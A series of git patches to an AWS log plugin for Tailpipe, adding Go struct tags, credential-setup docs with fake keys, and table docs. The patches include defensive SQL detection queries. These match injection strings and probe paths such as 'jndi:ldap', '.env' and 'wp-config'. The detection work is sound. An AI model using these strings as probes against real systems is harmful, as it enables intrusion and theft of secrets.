b/rows/waf_traffic_log.go @@ -16,7 +16,7 @@ type Header struct { type HttpRequest struct { ClientIp *string `json:"client_ip,omitempty"` Country *string `json:"country,omitempty"` - Headers *[]Header `json:"headers,omitempty"` + Headers *[]Header `json:"headers,omitempty" parquet:"type=JSON"` Uri *string `json:"uri,omitempty"` Args *string `json:"args,omitempty"` HttpVersion *string `json:"http_version,omitempty"` From bafd0a708f577831f1de4780c0f4c2b65874491d Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 9 Dec 2024 12:20:45 +0000 Subject: [PATCH 113/180] refactor: removed duplicate value --- sources/s3_bucket_source_config.go | 4 ---- 1 file changed, 4 deletions(-) diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket_source_config.go index 98d18e4b..faa632e2 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket_source_config.go @@ -4,16 +4,12 @@ import ( "fmt" "regexp" - "github.com/hashicorp/hcl/v2" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" ) // AwsS3BucketSourceConfig is the configuration for an [AwsS3BucketSource] type AwsS3BucketSourceConfig struct { artifact_source_config.ArtifactSourceConfigBase - // required to allow partial decoding - Remain hcl.Body `hcl:",remain" json:"-"` Bucket string `hcl:"bucket"` Prefix *string `hcl:"prefix"` From b2c4eb689b5449818d1200b30a64f419fe281458 Mon Sep 17 00:00:00 2001 From: Graza Date: Mon, 9 Dec 2024 14:04:22 +0000 Subject: [PATCH 114/180] docs: added placeholder table/source docs and wip index doc (#45) --- docs/index.md | 301 ++++++++++++++++ docs/sources/aws_cloudwatch_log_group.md | 19 + docs/sources/aws_s3_bucket.md | 21 ++ docs/tables/alb_access_log.md | 422 ----------------------- docs/tables/aws_alb_access_log.md | 31 ++ docs/tables/aws_cloudtrail_log.md | 35 +- docs/tables/aws_cost_usage_log.md | 55 +-- docs/tables/aws_elb_access_log.md | 31 ++ docs/tables/aws_guardduty_finding.md | 58 ++++ docs/tables/aws_lambda_log.md | 31 ++ docs/tables/aws_s3_server_access_log.md | 31 ++ docs/tables/aws_securityhub_finding.md | 23 ++ docs/tables/aws_vpc_flow_log.md | 31 ++ docs/tables/aws_waf_traffic_log.md | 23 ++ docs/tables/todo.md | 3 - 15 files changed, 658 insertions(+), 457 deletions(-) create mode 100644 docs/sources/aws_cloudwatch_log_group.md create mode 100644 docs/sources/aws_s3_bucket.md delete mode 100644 docs/tables/alb_access_log.md create mode 100644 docs/tables/aws_alb_access_log.md create mode 100644 docs/tables/aws_elb_access_log.md create mode 100644 docs/tables/aws_guardduty_finding.md create mode 100644 docs/tables/aws_lambda_log.md create mode 100644 docs/tables/aws_s3_server_access_log.md create mode 100644 docs/tables/aws_securityhub_finding.md create mode 100644 docs/tables/aws_vpc_flow_log.md create mode 100644 docs/tables/aws_waf_traffic_log.md delete mode 100644 docs/tables/todo.md diff --git a/docs/index.md b/docs/index.md index e69de29b..d86cf3a2 100644 --- a/docs/index.md +++ b/docs/index.md @@ -0,0 +1,301 @@ +--- +organization: Turbot +category: ["public cloud"] +icon_url: "/images/plugins/turbot/aws.svg" +brand_color: "#FF9900" +display_name: "Amazon Web Services" +short_name: "aws" +description: "Tailpipe plugin for collecting and querying various logs from AWS." +og_description: "Query AWS logs with SQL! Open source CLI. No DB required." +og_image: "/images/plugins/turbot/aws-social-graphic.png" +engines: ["tailpipe"] +--- + +# AWS + Tailpipe + +[Tailpipe](https://tailpipe.io) is an open-source CLI tool that allows you to obtain logs and query then with SQL. + +[AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. + + + +## Documentation + +- **[Table definitions & examples →](/plugins/turbot/aws/tables)** + +## Get started + +### Install + +Download and install the latest AWS plugin: + +```bash +tailpipe plugin install aws +``` + +### Credentials + +| Item | Description | +| - |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Credentials | Specify a named profile from an AWS credential file with the `profile` argument. | +| Permissions | Grant the `ReadOnlyAccess` policy to your user or role. | +| Radius | Each connection represents a single AWS account. | +| Resolution | 1. Credentials explicitly set in a Tailpipe config file (`~/.tailpipe/config/aws.tpc`).
2. Credentials specified in environment variables, e.g., `AWS_ACCESS_KEY_ID`.
3. Credentials in the credential file (`~/.aws/credentials`) for the profile specified in the `AWS_PROFILE` environment variable.
4. Credentials for the default profile from the credential file.
5. EC2 instance role credentials (if running on an EC2 instance). | + +### Configuration + +TODO: Elaborate on the configuration requirements around `partition`, `source` and `connection`. + +#### aws.tpc: +```hcl +connection "aws" "account_a" { + profile = "account_a" +} + +partition "aws_cloudtrail_log" "account_a" { + source "aws_s3_bucket" { + connection = connection.aws.account_a + bucket = "my-logs-bucket" + prefix = "AWSLogs/632902152528/CloudTrail" + region = "us-east-1" + } +} +``` + +## Configuring AWS Credentials + +You may specify a named profile from an AWS credential file with the `profile` argument. A connection per profile, using named profiles is probably the most common configuration: + +#### aws credentials file: +```ini +[account_a] +aws_access_key_id = AKIA4YFAKEKEYXTDS252 +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m +region = us-west-2 + +[account_b] +aws_access_key_id = AKIA4YFAKEKEYJ7HS98F +aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9mg4 +``` + +#### aws.tpc: +```hcl +connection "aws" "account_a" { + profile = "account_a" +} + +connection "aws" "account_b" { + profile = "account_b" + regions = ["us-west-2"] +} +``` + +Using named profiles allows Tailpipe to work with your existing CLI configurations, including SSO and using role assumption. + +### AWS SSO Credentials + +Tailpipe works with [AWS SSO](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html#sso-configure-profile-auto) via AWS profiles however: +- You must login to SSO (`aws sso login`) before starting Tailpipe. +- If your credentials expire, you will need to re-authenticate outside of Tailpipe - Tailpipe currently cannot re-authenticate you. + +#### aws credential file: +```ini +[account_a_with_sso] +sso_start_url = https://d-9a672b0000.awsapps.com/start +sso_region = us-east-2 +sso_account_id = 000000000000 +sso_role_name = SSO-ReadOnly +region = us-east-1 +``` + +#### aws.tpc: +```hcl +connection "aws" "account_a_with_sso" { + profile = "account_a_with_sso" +} +``` + +### AssumeRole Credentials (No MFA) + +If your aws credential file contains profiles that assume a role via the `source_profile` and `role_arn` options and MFA is not required, Tailpipe can use the profile as-is: + +#### aws credential file: +```ini +# This user must have sts:AssumeRole permission for arn:aws:iam::*:role/tpc_role +[cli_user] +aws_access_key_id = AKIA4YFAKEKEYXTDS252 +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m + +[account_a_role_without_mfa] +role_arn = arn:aws:iam::111111111111:role/tpc_role +source_profile = cli_user +external_id = xxxxx +region = us-east-1 + +[account_b_role_without_mfa] +role_arn = arn:aws:iam::222222222222:role/tpc_role +source_profile = cli_user +external_id = yyyyy +region = us-east-2 +``` + +#### aws.tpc: +```hcl +connection "aws" "account_a" { + profile = "account_a_role_without_mfa" +} + +connection "aws" "account_b" { + profile = "account_b_role_without_mfa" +} +``` + +### AssumeRole Credentials (With MFA) + +Currently, Tailpipe doesn't support prompting for an MFA token at run time. To overcome this problem you will need to generate an AWS profile with temporary credentials. + +One way to accomplish this is to use the `credential_process` to [generate the credentials with a script or program](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sourcing-external.html) and cache the tokens in a new profile. There is a [sample `mfa.sh` script](https://raw.githubusercontent.com/turbot/steampipe-plugin-aws/main/scripts/mfa.sh) in the `scripts` directory of the [steampipe-plugin-aws](https://github.com/turbot/steampipe-plugin-aws) repo that you can use, and there are several open source projects that automate this process as well. + +Note that Tailpipe cannot prompt you for your token currently, so you must authenticate before starting Tailpipe, and re-authenticate outside of Tailpipe whenever your credentials expire. + +#### aws credential file: +```ini +[cli_user] +aws_access_key_id = AKIA4YFAKEKEYXTDS252 +aws_secret_access_key = SH42YMW5p3EThisIsNotRealzTiEUwXN8BOIOF5J8m +mfa_serial = arn:aws:iam::999999999999:mfa/my_role_mfa + +[account_a_role_with_mfa] +credential_process = sh -c 'mfa.sh arn:aws:iam::111111111111:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' + +[account_b_role_with_mfa] +credential_process = sh -c 'mfa.sh arn:aws:iam::222222222222:role/my_role arn:aws:iam::999999999999:mfa/my_role_mfa cli_user 2> $(tty)' +``` + +#### aws.tpc: +```hcl +connection "aws" "account_a" { + profile = "account_a_role_with_mfa" + default_region = "us-east-1" +} + +connection "aws" "account_b" { + profile = "account_b_role_with_mfa" + regions = ["us-east-2"] +} +``` + +### AssumeRole Credentials (in ECS) + +If you are using Tailpipe on AWS ECS then you need to ensure that have separated your [Task Role](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html) and [Execution Role](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_execution_IAM_role.html) within the Task Definition. You will also need to create a separate service role that your `Task Role` can assume. + +The Task Role should have permissions to assume your service role. Additionally, your service role needs a trust relationship set up, and have permissions to assume your other roles. + +#### Task Role IAM Assume Role +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Action": [ + "sts:AssumeRole" + ], + "Effect": "Allow", + "Resource": [ + "arn:aws:iam::111111111111:role/steampipe-service" + ] + } + ] +} +``` + +#### Service Role +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "", + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam::111111111111:role/steampipe-ecs-task-role" + }, + "Action": "sts:AssumeRole" + } + ] +} +``` + +This will allow you to configure Tailpipe now to assume the service role. + +#### aws credential file: +```ini +[default] +role_arn = arn:aws:iam::111111111111:role/tailpipe-service +credential_source = EcsContainer + +[account_b] +role_arn = arn:aws:iam::222222222222:role/tailpipe_ro_role +source_profile = default +``` + +#### aws.tpc: +```hcl +connection "aws" "account_b" { + profile = "account_b" +} +``` + +### AWS-Vault Credentials + +Tailpipe can use profiles that use [aws-vault](https://github.com/99designs/aws-vault) via the `credential_process`. aws-vault can even be used when using AssumeRole Credentials with MFA (you must authenticate/re-authenticate outside of Tailpipe whenever your credentials expire if you are using MFA). + +When authenticating with temporary credentials, like using an access key pair with aws-vault, some IAM and STS APIs may be restricted. You can avoid creating a temporary session with the `--no-session` option (e.g., `aws-vault exec my_profile --no-session -- tailpipe collect aws_cloudtrail_log.account_a"`). For more information, please see [aws-vault Temporary credentials limitations with STS, IAM](https://github.com/99designs/aws-vault/blob/master/USAGE.md#temporary-credentials-limitations-with-sts-iam). + +#### aws credential file: +```ini +[vault_user_account] +credential_process = /usr/local/bin/aws-vault exec -j vault_user_profile # vault_user_profile is the name of the profile in AWS_VAULT... + +[account_a] +source_profile = vault_user_account +role_arn = arn:aws:iam::123456789012:role/my_role +mfa_serial = arn:aws:iam::123456789012:mfa/my_role_mfa +``` + +#### aws.tpc: +```hcl +connection "aws" "account_a" { + profile = "account_a" + regions = ["*"] +} +``` + +### IAM Access Key Pair Credentials + +The AWS plugin allows you set static credentials with the `access_key`, `secret_key`, and `session_token` arguments in your connection. + +```hcl +connection "aws_account_a" { + access_key = "ASIA3ODZSWFYSN2PFHPJ" + secret_key = "gMCYsoGqjfThisISNotARealKeyVVhh" + session_token = "FwoGZXIvYXdzEJv//////////wEaDINJ" + default_region = "us-east-1" +} +``` + +### Credentials from Environment Variables + +The AWS plugin will use the standard AWS environment variables to obtain credentials **only if other arguments (`profile`, `access_key`/`secret_key`, `regions`) are not specified / no connection is passed**: + +```sh +export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE +export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY +export AWS_DEFAULT_REGION=eu-west-1 +export AWS_SESSION_TOKEN=AQoDYXdzEJr... +export AWS_ROLE_SESSION_NAME=steampipe@myaccount +``` + +### Credentials from an EC2 Instance Profile + +If you are running Tailpipe on a AWS EC2 instance, and that instance has an [instance profile attached](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html) then Tailpipe will automatically use the associated IAM role without the need for making or passing a connection. \ No newline at end of file diff --git a/docs/sources/aws_cloudwatch_log_group.md b/docs/sources/aws_cloudwatch_log_group.md new file mode 100644 index 00000000..936309a3 --- /dev/null +++ b/docs/sources/aws_cloudwatch_log_group.md @@ -0,0 +1,19 @@ +--- +title: "Source: aws_cloudwatch_log_group - Obtain logs from AWS CloudWatch Log Groups" +description: "Allows users to collect logs from AWS CloudWatch Log Groups." +--- + +# Source: aws_cloudwatch_log_group - Obtain logs from AWS CloudWatch Log Groups + +An AWS CloudWatch Log Group is a collection of log streams, which are sequences of log events. Log events are records of activity in a system, such as actions taken by users or applications. CloudWatch Log Groups are used to store and manage log data, which can be searched, monitored, and archived. + +## Configuration + +| Property | Description | Default | +|---------------------|------------------------------------------------------------|---------------------------------| +| `connection` | The connection to use to connect to the AWS account. | - | +| `log_group_name` | The name of the CloudWatch Log Group to collect logs from. | - | +| `log_stream_prefix` | A prefix to find matching log streams. | - | +| `start_time` | The start time to collect logs from. | - | +| `end_time` | The end time to collect logs until. | Defaults to current time | +| `region` | The AWS region where the log group is located. | Defaults to connections default | \ No newline at end of file diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md new file mode 100644 index 00000000..a456539f --- /dev/null +++ b/docs/sources/aws_s3_bucket.md @@ -0,0 +1,21 @@ +--- +title: "Source: aws_s3_bucket - Obtain logs from AWS S3 buckets" +description: "Allows users to collect logs from AWS S3 buckets." +--- + +# Source: aws_s3_bucket - Obtain logs from AWS S3 buckets + +An AWS S3 Bucket is a public cloud storage resource available in Amazon Web Services' (AWS) Simple Storage Service (S3). It is used to store objects, which consist of data and its descriptive metadata. S3 makes it possible to store and retrieve varying amounts of data, at any time, from anywhere on the web. + +## Configuration + +| Property | Description | Default | +| - |----------------------------------------------------------------------------------------------|---------------------------| +| `connection` | The connection to use to connect to the AWS account. | - | +| `bucket` | The name of the S3 bucket to collect logs from. | - | +| `prefix` | The prefix to filter objects in the bucket. | Defaults to bucket root. | +| `region` | The AWS region where the bucket is located. | Defaults to `us-east-1` | +| `extensions` | The file extensions to collect. | Defaults to all files. | +| `lexicographical_order` | Used to indicate log files are in lexicographical order. | Defaults to `false` | +| `start_after_key` | The key to start collecting logs from. | - | +| `file_layout` | Regex of pattern filename layout, used to extract information such as year, month, day, etc. | Default depends on Table. | diff --git a/docs/tables/alb_access_log.md b/docs/tables/alb_access_log.md deleted file mode 100644 index 19de172f..00000000 --- a/docs/tables/alb_access_log.md +++ /dev/null @@ -1,422 +0,0 @@ -# Overview - -Here's the explanation of how ALB logs flow through Tailpipe to become Parquet files. The main benefit of this system is that we just define our struct with the right tags and types, and the SDK handles all the complexity of Parquet file creation. We don't need to write any Parquet-specific code in our table implementation. - -## Initial Processing - -- Raw log line comes in as a string from S3 or other source -- `AlbLogMapper.Map` parses this into structured data (`[]*rows.AlbAccessLog`) -- The mapper handles all the complex string parsing (quotes, optional fields, etc.) - -## Schema Generation -- SDK uses reflection on the `AlbAccessLog` struct -- JSON tags define column names (e.g., `json:"type"` becomes column "type") -- Go types are mapped to Parquet types: - - `string` → `BYTE_ARRAY` - - `int64` → `INT64` - - `float64` → `DOUBLE` - - `time.Time` → `INT64` (milliseconds since epoch) - - Pointer types (e.g., `*string`) become nullable columns - - Arrays become repeated fields - -## Record Writing -- SDK batches records for efficiency (doesn't write one at a time) -- Uses the generated schema to validate data -- Handles type conversion automatically -- Field order in Parquet matches struct field order - -## Special Handling -- `CommonFields` embed adds standard columns to every table (`tp_id`, `tp_timestamp`, etc.) -- Timestamps get special treatment - stored as Unix milliseconds for efficiency -- Optional fields (like `TargetIP *string`) only take space when present -- Arrays (like `TpIps []string`) become Parquet repeated fields - -### Index Selection (tp_index) - -The `tp_index` field is critical for partitioning and querying data efficiently. For ALB logs, we map: - -```sql -tp_index = alb_name -``` - -This means: -- Each ALB's logs are grouped together -- Quick filtering/querying by specific ALB -- Efficient partitioning in data lake storage -- Natural organization matching AWS infrastructure - -For example: -```bash -prod-web-alb → All prod web ALB logs -prod-api-alb → All prod API ALB logs -staging-alb → All staging ALB logs -``` - -This mapping allows queries like: -```sql --- Get all prod ALB traffic -SELECT * FROM aws_alb_access_log WHERE tp_index LIKE 'prod-%'; - --- Compare traffic across environments -SELECT - tp_index, - COUNT(*) as requests, - COUNT(DISTINCT client_ip) as unique_clients -FROM aws_alb_access_log -GROUP BY tp_index; -``` - -Alternative index strategies we considered but rejected: -- Account ID: Too broad, most logs from same account -- Region: Too broad, most logs from same region -- Target Group: Too granular, splits related traffic - - -```mermaid -graph TD - A[Raw Log Line] --> B[AlbLogMapper] - B --> C["[]*rows.AlbAccessLog"] - C --> D[Schema Generation] - D --> E[Parquet Schema] - C --> F[Parquet Record Writer] - E --> F - F --> G[Parquet File] - - subgraph "Schema Generation" - D1[Reflect Struct Tags] - D2[Map Types] - D3[Handle Optionals] - end - - subgraph "Type Mapping" - M1[string to BYTE_ARRAY] - M2[int64 to INT64] - M3[float64 to DOUBLE] - M4[time.Time to INT64] - end - - D --> D1 - D1 --> D2 - D2 --> D3 -``` - -## Enrichment flow - -- Raw Parsing (`InitialiseFromMap`): - - Converts string values to typed fields - - Handles empty/optional fields marked with "-" - - Parses complex fields (IP:port combinations) - - Reports parsing errors with context - -- Enrichment (EnrichRow): - - - Adds standard fields (tp_id, tp_timestamp, etc.) - - Populates cross-reference fields: - - - IPs: Maps client/target IPs to tp_source_ip, tp_destination_ip, tp_ips - - Domains: Maps domain_name to tp_domains - - AWS Resources: Maps target_group_arn to tp_akas - - - Computes derived fields (dates, timestamps) - - Maintains data consistency - -The benefit of this separation is that parsing logic stays focused on data conversion, while enrichment logic focuses on adding value. This makes both parts easier to maintain and test independently. - -```mermaid -graph TD - A[Raw Log Line] --> B[InitialiseFromMap] - B --> C[Typed AlbAccessLog] - C --> D[EnrichRow] - D --> E[Enriched Record] - - subgraph "InitialiseFromMap" - P1[Parse Fields] - P2[Convert Types] - P3[Handle Optional Fields] - P4[Validate Data] - end - - subgraph "EnrichRow" - E1[Add Standard Fields] - E2[Add Source Fields] - E3[Compute Timestamps] - E4[Populate Cross-Reference Fields] - end - - B --> P1 --> P2 --> P3 --> P4 - D --> E1 --> E2 --> E3 --> E4 - - %% Show specific field mappings - C -- ClientIP -> TpSourceIP\nTargetIP -> TpDestinationIP\nBoth -> TpIps --> E4 - C -- DomainName -> TpDomains --> E4 - C -- TargetGroupArn -> TpAkas --> E4 -``` - -# ALB Log Analysis Queries and Results - -## Client Type Distribution -Analyzes the distribution of different client types accessing the application. - -```sql -SELECT - CASE - WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' - WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' - WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' - WHEN user_agent LIKE '%Safari%' THEN 'Safari' - WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' - ELSE 'Other' - END as client_type, - COUNT(*) as request_count -FROM aws_alb_access_log -GROUP BY client_type -ORDER BY request_count DESC; -``` - -Results show most traffic comes from "Other" clients (6,337 requests), followed by Mobile (1,842) and Chrome (1,821). - -## SSL/TLS Configuration Analysis -Examines the distribution of SSL protocols and cipher suites. - -```sql -SELECT - ssl_protocol, - ssl_cipher, - COUNT(*) as count, - ROUND(COUNT(*) * 100.0 / SUM(COUNT(*)) OVER (), 2) as percentage -FROM aws_alb_access_log -WHERE ssl_protocol != '-' -GROUP BY ssl_protocol, ssl_cipher -ORDER BY count DESC; -``` - -Key findings: -- TLSv1.2 and TLSv1.3 are evenly distributed -- Most common cipher is TLS_AES_128_GCM_SHA256 (17.21%) -- All modern cipher suites used - -## Traffic Distribution by Hour -Shows the distribution of requests across different hours of the day. - -```sql -SELECT - EXTRACT(hour FROM timestamp) as hour_of_day, - COUNT(*) as request_count -FROM aws_alb_access_log -GROUP BY hour_of_day -ORDER BY request_count DESC; -``` - -Traffic is relatively evenly distributed between hours 0-14, with a drop-off at hour 15. - -## Error Rate Analysis -Examines error rates by hour. - -```sql -SELECT - DATE_TRUNC('hour', timestamp) as hour, - COUNT(*) as total_requests, - SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) as error_count, - ROUND(SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) * 100.0 / COUNT(*), 2) as error_rate -FROM aws_alb_access_log -GROUP BY hour -ORDER BY hour; -``` - -Error rates consistently range between 19-23% across all hours. - -## ALB Performance Analysis -Analyzes performance metrics across different ALBs. - -```sql -SELECT - tp_index as alb_name, - COUNT(*) as request_count, - COUNT(DISTINCT client_ip) as unique_clients, - ROUND(AVG(request_processing_time + target_processing_time + response_processing_time), 3) as avg_total_time -FROM aws_alb_access_log -GROUP BY tp_index -ORDER BY request_count DESC; -``` - -Findings: -- prod-web-alb handles most traffic (3,383 requests) -- staging-alb has higher average processing time (0.523s) -- prod environments maintain better performance (~0.35s) - -## Security Analysis - -### SQL Injection Attempts -```sql -WITH filtered_requests AS ( - SELECT - client_ip, - user_agent, - request as sample_request, - timestamp, - ROW_NUMBER() OVER (PARTITION BY client_ip, user_agent ORDER BY timestamp) AS row_num - FROM aws_alb_access_log - WHERE - request LIKE '%UNION SELECT%' OR - request LIKE '%OR 1=1%' OR - request LIKE '%--\\%' OR - request LIKE '%'' OR ''%' -) -SELECT - client_ip, - user_agent, - COUNT(*) AS attempt_count, - STRING_AGG(sample_request, ' | ') AS sample_requests, - MIN(timestamp) AS first_seen, - MAX(timestamp) AS last_seen -FROM filtered_requests -WHERE row_num <= 3 -GROUP BY client_ip, user_agent -HAVING COUNT(*) > 1 -ORDER BY attempt_count DESC -LIMIT 10; -``` - -Detected multiple SQL injection attempts from IPs in ranges: -- 185.181.x.x -- 193.27.228.x -- 45.155.205.x - -### Cross-ALB Attack Patterns -```sql -WITH suspicious_paths AS ( - SELECT - client_ip, - user_agent, - alb_name, - request as sample_request, - timestamp, - ROW_NUMBER() OVER (PARTITION BY client_ip, alb_name ORDER BY timestamp) AS row_num - FROM aws_alb_access_log - WHERE - request LIKE '%actuator%' OR - request LIKE '%metrics%' OR - request LIKE '%phpinfo%' OR - request LIKE '%server-status%' OR - request LIKE '%jndi:ldap%' OR - request LIKE '%class.module.classLoader%' OR - request LIKE '%.env%' OR - request LIKE '%wp-config%' OR - request LIKE '%/debug%' - ) - SELECT - client_ip, - user_agent, - COUNT(DISTINCT alb_name) as albs_targeted, - COUNT(*) as total_probes, - STRING_AGG(DISTINCT alb_name, ', ') as targeted_albs, - STRING_AGG(sample_request, ' | ') as sample_requests, - MIN(timestamp) as first_seen, - MAX(timestamp) as last_seen, - EXTRACT(MINUTES FROM MAX(timestamp) - MIN(timestamp)) as campaign_duration_mins - FROM suspicious_paths - WHERE row_num <= 3 - GROUP BY client_ip, user_agent - HAVING - COUNT(DISTINCT alb_name) > 1 AND -- Targeting multiple ALBs - COUNT(*) >= 3 -- At least 3 probe attempts - ORDER BY albs_targeted DESC, total_probes DESC - LIMIT 10; -``` - -Key findings: -- Multiple IPs targeting all three ALBs -- Campaign durations ranging from 13 to 54 minutes -- Common attack tools identified: subfinder, WhatWeb, dirbuster, Nmap -- Systematic probing of infrastructure suggesting coordinated attacks - -### Notable Attack Patterns -- Sustained campaigns lasting 30+ minutes -- Multiple tools used per attacker -- Systematic targeting of all ALB environments -- Focus on common vulnerabilities (actuator, debug endpoints, config files) - - -# Testing ALB Log Processing - -## Test Data Generation - -Testing ALB log processing requires realistic log data that includes both normal traffic patterns and attack scenarios. We use a Python generator script that creates synthetic ALB logs with the following characteristics: - -### Normal Traffic -- Distributed across multiple ALBs (prod-web-alb, prod-api-alb, staging-alb) -- Realistic URLs mapped to specific ALBs -- Common user agents (browsers, mobile devices, legitimate API clients) -- Expected HTTP methods and status codes -- Variable response times with production environments being faster - -### Attack Patterns -- SQL injection attempts -- Path traversal attacks -- Admin console scanning -- Vulnerability probing -- Traffic from known malicious IP ranges -- Scanner user agents -- Coordinated attack campaigns - -### Generator Configuration -The generator supports customization of: -- Number of log lines -- Start date for logs -- ALB names and target groups -- URL patterns -- Attack frequencies -- IP ranges for attackers - -## Running Tests - -1. First, generate test data: -```bash -python3 alb_generate.py -``` - -2. Create a test configuration file, e.g. - -```hcl -partition "aws_alb_access_log" "alb_test" { - plugin = "aws" - source "file_system" { - paths = ["/home/jon/tpsrc/tailpipe-plugin-aws/test/alb-test.log"] - extensions = [".log"] - } -} -``` - -3. Run Tailpipe: -```bash -TAILPIPE_LOG_LEVEL=debug ./tailpipe collect aws_alb_access_log.alb_test -``` - -### Key Test Scenarios - -When testing ALB log processing, verify: - -1. Field Parsing - - Complex fields (IP:port combinations) - - Quoted strings with spaces - - Optional fields marked with "-" - - Timestamps in correct format - -2. Enrichment Logic - - Standard fields (tp_id, tp_timestamp) - - IP cross-references (source, destination, list) - - Domain references - - AWS resource references (target group ARNs) - -3. Error Handling - - Malformed log lines - - Missing required fields - - Invalid field values - - Incorrect field types - -4. Performance - - Large log file processing - - Memory usage with batch processing - - Processing time per record - -The included query examples in the previous section can be used to validate the processed data matches expected patterns. \ No newline at end of file diff --git a/docs/tables/aws_alb_access_log.md b/docs/tables/aws_alb_access_log.md new file mode 100644 index 00000000..2281f427 --- /dev/null +++ b/docs/tables/aws_alb_access_log.md @@ -0,0 +1,31 @@ +--- +title: "Tailpipe Table: aws_alb_access_log - Query AWS Application Load Balancer Access Logs" +description: "Allows users to query AWS Application Load Balancer access logs." +--- + +# Table: aws_alb_access_log - Query AWS Application Load Balancer Access Logs + +*TODO*: Add description + +## Table Usage Guide + +The `aws_alb_access_log` table allows you to query data from AWS Application Load Balancer access logs. This table provides detailed information about client requests made to your Application Load Balancer, including the request time, client IP address, request method, response status code, and more. + +## Examples + +### Top Requested URLs + +Displays the top requested URLs by the number of requests, helping to identify the most frequently accessed resources. + +```sql +select + request_uri, + count(*) as request_count +from + aws_alb_access_log +group by + request_uri +order by + request_count desc +limit 10; +``` \ No newline at end of file diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md index ebca41e4..e9837cc4 100644 --- a/docs/tables/aws_cloudtrail_log.md +++ b/docs/tables/aws_cloudtrail_log.md @@ -1,7 +1,20 @@ +--- +title: "Tailpipe Table: aws_cloudtrail_log - Query AWS CloudTrail Logs" +description: "Allows users to query AWS CloudTrail logs." +--- -# AWS Security Threat Detection Queries +# Table: aws_cloudtrail_log - Query AWS CloudTrail logs -## Detect AWS Console unsuccessful login attempts +*TODO*: Add description + +## Table Usage Guide + +The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. + + +## Examples + +### Detect AWS Console unsuccessful login attempts Flags actors who failed to login to the console. ```sql @@ -30,7 +43,7 @@ order by event_time desc; ``` -## Detect Access from Non-Whitelisted Locations +### Detect Access from Non-Whitelisted Locations Flags actors accessing from unapproved locations, which may indicate unauthorized access or policy violations. ```sql @@ -46,7 +59,7 @@ group by user_identity.arn, source_ip_address, aws_region; ``` -## Detect high volume of S3 bucket access in short time +### Detect high volume of S3 bucket access in short time Flags accounts with a high number of S3 access events within a short period, indicating potential brute force or data exfiltration attempts. ```sql @@ -67,7 +80,7 @@ order by access_count desc; ``` -## Detect attempts to disable CloudTrail logging +### Detect attempts to disable CloudTrail logging Detects if any actor attempted to stop CloudTrail logging, which may indicate an attempt to cover tracks. ```sql @@ -84,7 +97,7 @@ order by event_time desc; ``` -## Detect IAM policy modifications +### Detect IAM policy modifications Flags actors modifying IAM policies, which may indicate privilege escalation attempts. ```sql @@ -102,7 +115,7 @@ order by event_time desc; ``` -## Detect unusual source IP addresses for users +### Detect unusual source IP addresses for users Flags users accessing from unfamiliar IP addresses, which may indicate account compromise. ```sql @@ -123,7 +136,7 @@ order by access_count desc; ``` -## Detect root account activity +### Detect root account activity Detects usage of the root account, which is generally a high-risk action. ```sql @@ -141,7 +154,7 @@ order by event_time desc; ``` -## Detect EC2 instance start or stop events +### Detect EC2 instance start or stop events Flags EC2 instance start or stop actions, which could indicate unauthorized resource usage. ```sql @@ -159,7 +172,7 @@ order by event_time desc; ``` -## Detect IAM user deletions +### Detect IAM user deletions Flags deletion of IAM users, which could indicate malicious attempts to remove evidence. ```sql @@ -177,7 +190,7 @@ order by event_time desc; ``` -## Detect excessive role assumption +### Detect excessive role assumption Flags actors assuming roles more frequently than usual, indicating potential privilege misuse. ```sql diff --git a/docs/tables/aws_cost_usage_log.md b/docs/tables/aws_cost_usage_log.md index 5358aefa..dbf0495f 100644 --- a/docs/tables/aws_cost_usage_log.md +++ b/docs/tables/aws_cost_usage_log.md @@ -1,6 +1,19 @@ -# AWS Cost and Usage Log +--- +title: "Tailpipe Table: aws_cost_usage_log - Query AWS Cost and Usage Report Data" +description: "Allows users to query AWS Cost and Usage report data." +--- -## 1. Total Monthly Cost by Account +# Table: aws_cost_usage_log - Query AWS Cost and Usage Report Data using SQL + +*TODO*: Add description + +## Table Usage Guide + +The `aws_cost_usage_log` table allows you to query data from the AWS Cost and Usage Report. This table provides detailed information about your AWS costs and usage, including cost breakdowns by account, service, usage type, and more. + +## Examples + +### Total Monthly Cost by Account Calculates the total monthly cost across linked AWS accounts to identify which accounts are incurring the most cost. ```sql @@ -18,7 +31,7 @@ order by monthly_total_cost desc; ``` -## 2. Top Costly AWS Services +### Top Costly AWS Services Displays the top AWS services by total cost, helping to identify where the majority of spending occurs. ```sql @@ -37,7 +50,7 @@ order by 